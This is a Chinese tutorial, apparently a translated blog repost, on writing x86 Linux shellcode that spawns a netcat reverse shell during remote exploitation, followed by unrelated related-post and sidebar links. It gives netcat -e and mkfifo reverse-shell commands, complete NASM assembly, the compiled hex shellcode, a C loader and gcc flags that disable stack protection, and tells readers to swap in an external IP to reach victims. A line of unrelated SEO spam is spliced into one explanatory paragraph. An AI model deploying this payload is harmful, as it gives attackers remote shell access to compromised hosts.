使用netcat进行反弹链接的shellcode
- from:http://morgawr.github.io/hacking/2014/03/29/shellcode-to-reverse-bind-with-netcat/
-
这篇文章主要是谈,在远程溢出时怎样构造shellcode,才能形成一个有效的反弹链接。
0x00 反向绑定远程shell
让本地主机和远程shell建立起连接的方法有很多种,其中最常见的是在远程主机上开放一个端口,然后把它的
stdout/stderr/stdin
重定向到一个shell上。
这样我们就可以在自己的主机上通过一个简单的netcat命令来连接它。
但是,大多数情况下这种方法并不能起作用,很多服务器只对外开放少量的几个端口,比如,http(s),ftp,smtp等。
其他的数据包都会被防火墙直接丢弃。解决这种问题的方法就是使用反弹链接,反弹链接的意思就是,让远程的主机主动连接我们的服务器。
所以,你需要在自己的机器上开放一个端口,等待着倒霉的受害者自己连接你的主机就可以了。
0x01 netcat -e命令
首先我们假设,目标网站上安装了netcat。
通常情况下netcat支持e参数,这个参数将会运行后面所跟的程序,并将它跟链接绑定。
如果我们把
/bin/sh
通过e参数绑定,并开启监听,那当我们使用远程主机连接到这台主机时,就相当于获得了一个shell。让我们来尝试一下。在本地主机运行
1netcat -lvp
9999
监听连入的链接。
新开一个shell运行
1netcat -e /bin/sh
127.0
.
0.1
9999
这样,你的第一个shell将建立起一个链接,在其中执行
ls whoami
等命令,测试一下它是否可以正常工作,
你也可以使用 Ctrl+c 来关闭这个链接。注意:openbsd版本的netcat不支持 -e或者-c 参数。
你可以使用以下的语句来替代。
1rm -f /tmp/f; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i
2
>&
1
| nc -l
127.0
.
0.1
9999
> /tmp/f
但是它太复杂了,很难在shellcode中运行。
0x02 汇编代码
现在我们就来看一下怎样把这条语句通过汇编执行,并放入shellcode中。
下面是,我们shellcode重要运行的汇编代码。(intel语法)
12345678910111213141516171819202122232425262728jmp
short
forward
back:
pop esi
xor eax, eax
mov
byte
[esi +
11
], al ; terminate /bin/netcat
mov
byte
[esi +
14
], al ; terminate -e
mov
byte
[esi +
22
], al ; terminate /bin/sh
mov
byte
[esi +
38
], al ; terminate
127.127
.
127.127
mov
byte
[esi +
43
], al ; terminate
9999
mov
long
[esi +
44
], esi ; address of /bin/netcat in AAAA
lea ebx, [esi +
12
] ; get address of -e
mov
long
[esi +
48
], ebx ; store address of -e in BBBB
lea ebx, [esi +
15
] ; get address of /bin/sh
mov
long
[esi +
52
], ebx ; store address of /bin/sh in CCCC
lea ebx, [esi +
23
] ; get address of
127.127
.
127.127
mov
long
[esi +
56
], ebx ; store address of
127.127
.
127.127
in DDDD
lea ebx, [esi +
39
] ; get address of
9999
mov
long
[esi +
60
], ebx ; store address of
9999
in EEEE
mov
long
[esi +
64
], eax ; put NULL in FFFF
mov
byte
al,
0x0b
; pass the execve syscall number as argument
mov ebx, esi
lea ecx, [esi +
44
] ; /bin/netcat -e /bin/sh etc etc
lea edx, [esi +
64
] ; NULL
int
0x80
; Run the execve syscall
forward:
call back
db
"/bin/netcat#-e#/bin/sh#127.127.127.127#9999#AAAABBBBCCCCDDDDEEEEFFFF"
其实上面代码想做的翻译成c语言是如下两行
12char
*command[] = {
"/bin/netcat"
,
"-e"
,
"/bin/sh"
,
"127.127.127.127"
,
"9999"
, NULL};
execve(command[
0
], command, NULL);
命令就是如下的字符串
1/bin/netcat#-e#/bin/sh#
127.127
.
127.127
#
9999
#AAAABBBBCCCCDDDDEEEEFFFF
字符串中各个部分被
#
隔开,是因为在shellcode中不能出现null,这会造成shellcode被截断,从而不能被
目标主机正确运行。不管我们在哪里运行这段程序,首先需要知道的是命令字符串的地址。
所以我在第1行和第26行分别创建了两个标签(forword和back),使用call命令时(27行),首先会把返回地址入栈,返回地址就是下一条指令的地址,而下一条指令的地址恰巧就是我们的命令字符串。
回到第3行,我们把命令字符串地址弹出到ESI寄存器,然后将EAX初始化,注意我们不能直接使用
1mov eax,
0
因为null在shellcode中是不允许出现的。最后我们吧,命令字符串分开存放到内存之中。
路由器设置密码安装win7系统明天大涨的股票无线摄像头wifi路由器设置在第5行到第9行,我们把寄存器中的0移动到字符串的末尾,使用替代
#
(取自eax寄存器,其中的0使用xor生成)之后我们需要一个各个字符串地址的数组,作为execve()的第二个参数。在第十行,我们把
/bin/netcat
的地址放入 AAAA 所在的位置,程序中的11到18行也是在做同样的事情,最后19行我们把存入到FFFF的位置,作为字符串的结尾。在第20行我们准备执行系统调用,我们首先把0xb存储到eax中,esi(/bin/netcat的地址)存储到ebx中,字符串的地址存储到,ecx中,最后edx存储null,之后使用0x80触发系统调用,不出意外的话,一个反弹链接的指令就成功执行了。
这个例子中,ip地址使用的是127.127.127.127 端口号是 9999,这是一个本地的ip地址。通常情况下
你需要使用一个外网IP来替换掉它,如果两个ip长度不同的话,你要仔细的修改掉所有与他相关联的汇编代码。0x03 编译测试shellcode
现在,需要把汇编代码存储到一个asm文件之中,我们这里叫做shell.asm,使用以下的语句编译它,
1nasm -felf32 -o shell.o shell.asm
使用,
objdump -D
命令我们就可以看到这个小程序的opcodes,使用下面一段指令我们就可以把它们
放入到一个C字符串中1for
i in $(objdump -d shell.o -M intel |grep
"^ "
|cut -f2);
do
echo -n
'\x'
$i; done;echo
最后我们得到
1\xeb\x3c\x5e\x31\xc0\x88\x46\x0b\x88\x46\x0e\x88\x46\x16\x88\x46\x26\x88\x46\x2b\x89\x76\x2c\x8d\x5e\x0c\x89\x5e\x30\x8d\x5e\x0f\x89\x5e\x34\x8d\x5e\x17\x89\x5e\x38\x8d\x5e\x27\x89\x5e\x3c\x89\x46\x40\xb0\x0b\x89\xf3\x8d\x4e\x2c\x8d\x56\x40\xcd\x80\xe8\xbf\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x65\x74\x63\x61\x74\x23\x2d\x65\x23\x2f\x62\x69\x6e\x2f\x73\x68\x23\x31\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x23\x39\x39\x39\x39\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46
最后我们使用一段c程序来验证这个shell是否可行。
1234567char
shellcode[] =
"\xeb\x3c\x5e\x31\xc0\x88\x46\x0b\x88\x46\x0e\x88\x46\x16\x88\x46\x26\x88\x46\x2b\x89\x76\x2c\x8d\x5e\x0c\x89\x5e\x30\x8d\x5e\x0f\x89\x5e\x34\x8d\x5e\x17\x89\x5e\x38\x8d\x5e\x27\x89\x5e\x3c\x89\x46\x40\xb0\x0b\x89\xf3\x8d\x4e\x2c\x8d\x56\x40\xcd\x80\xe8\xbf\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x65\x74\x63\x61\x74\x23\x2d\x65\x23\x2f\x62\x69\x6e\x2f\x73\x68\x23\x31\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x23\x39\x39\x39\x39\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46"
;
int
main()
{
int
(*ret)() = (
int
(*)())shellcode;
ret();
}
想要编译它,需要关闭一些安全编译选项,然后使用如下命令。
1gcc shellcode.c -fno-stack-protector -z execstack -o shellcode
在另一个shell中运行
netcat -lvp 9999
,然后运行这个c程序./shellcode
如果一切正确的话你就可以得到一个反弹链接的shell了。
使用netcat进行反弹链接的shellcode的更多相关文章
- 在linux下编译netcat并且反弹cmdshell(转载)
本地Windows监听 nc -vv -l -p 1234 首先从sf上get一个tar的压缩包 wget http://sourceforge.net/projects/netcat/files ...
- nc 反弹链接
nc -l -v -p 80在本机监听80端口,此时80端口是打开的,我们可以在浏览器输入127.0.0.1进行浏览,此时就会出现连接,我们再在监听窗口输入字符,就会在浏览器上显示了.知道上面的作用后 ...
- 【技术分享】linux各种一句话反弹shell总结——攻击者指定服务端,受害者主机(无公网IP)主动连接攻击者的服务端程序(CC server),开启一个shell交互,就叫反弹shell。
反弹shell背景: 想要搞清楚这个问题,首先要搞清楚什么是反弹,为什么要反弹.假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规 ...
- [原创]K8飞刀20150720 新增Shellcode Loader支持多种格式
工具: K8飞刀编译: 自己查壳组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/7/20 3:00:18 简介: ...
- windows2016上如何通过攻击ETERNALBLUE获得meterpreter反弹
windows2016上如何通过攻击ETERNALBLUE获得meterpreter反弹 译:by backlion 0x00前言 当微软发布MS17-010漏洞的补丁时,该漏洞影响的范围是从Win ...
- msf反弹
转载https://www.cnblogs.com/xishaonian/p/7721584.html msf 生成反弹 Windows Shell msfvenom -p windows/meter ...
- sqlmap命令
-u #注入点 -f #指纹判别数据库类型 -b #获取数据库版本信息 -p #指定可测试的参数(?page=1&id=2 -p "page,id") -D "& ...
- 20164305 徐广皓 Exp2 后门原理与实践
实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启动 (3)使用MSF meterpreter(或其他软件)生成可执行文件, ...
- 2018-2019-2 网络对抗技术 20162329 Exp2 后门原理与实践
目录 1.实践基础 1.1.什么是后门 1.2.基础问题 2.实践内容 2.1.使用netcat获取主机操作Shell,cron启动 2.2.使用socat获取主机操作Shell, 任务计划启动 2. ...
随机推荐
- UIViewController没有随着设备一起旋转的原因
对于iPhone app,UIViewController类提供了基本的视图管理模式.当设备改变方向的时候view controller的视图会自动随之旋转的.如果视图和子视图的autoresizin ...
- 【BZOJ 1090】[SCOI2003]字符串折叠
Description 折 叠的定义如下: 1. 一个字符串可以看成它自身的折叠.记作S S 2. X(S)是X(X>1)个S连接在一起的串的折叠.记作X(S) SSSS…S(X个S). ...
- 【BZOJ 1005】[HNOI2008]明明的烦恼
Description 自从明明学了树的结构,就对奇怪的树产生了兴趣...... 给出标号为1到N的点,以及某些点最终的度数,允许在任意两点间连线,可产生多少棵度数满足要求的树? Input 第一行为 ...
- Java多线程——<五>后台线程(daemon)
一.后台线程(守护线程) 学一个东西,最重要的一点就是,为什么要用它? 后台线程区别于普通线程,普通线程又可以称为用户线程,只完成用户自己想要完成的任务,不提供公共服务.而有时,我们希望编写一段程序, ...
- 让32位Eclipse和64位Eclipse同时在64的Windows7上运行
转自让32位Eclipse和64位Eclipse同时在64的Windows7上运行 参考这篇文章:http://wenku.baidu.com/view/57994c270066f5335a81214 ...
- Android Activity初探
原地址:Android Activity初探 Activity是一个应用中的组件,它为用户提供一个可视的界面,方便用户操作,比如说拔打电话.照相.发邮件或者是浏览地图等.每个activity会提供一个 ...
- 中小企业 IT 运维福利:快速构建 on-call 机制
大多 IT 运营支撑同学都有过深夜业务应用突然故障的经历,监控系统准确告警,但是白天筋疲力尽的运维同学在熟睡中,经常会遗漏告警提醒:往往是接到主管电话(用户投诉了)才处理.有什么办法解决该问题呢?大多 ...
- UIkit的confirm,好看点
一,官方推荐的样码. <button type="button" class="uk-button" onclick="UIkit.modal. ...
- 在UWSGI和NGINX配合的情况下,配置个别目录上传及超时
笨办法就是多加一个LOCATION. 然后,自定义以下类似参数 client_max_body_size uwsgi_connect_timeout uwsgi_read_timeout server ...
- 心情记录&考试总结 3.30
并不知道现在要干什么,本人像是一只大颓狗 Em..怎么说呢,今天考完了一场奇怪的试 准确的说,画风很不正常的试 第一题集体爆零 第二题暴力20分 第三题暴力40分,乱搞有加成 改题的话, 第一题有奇怪 ...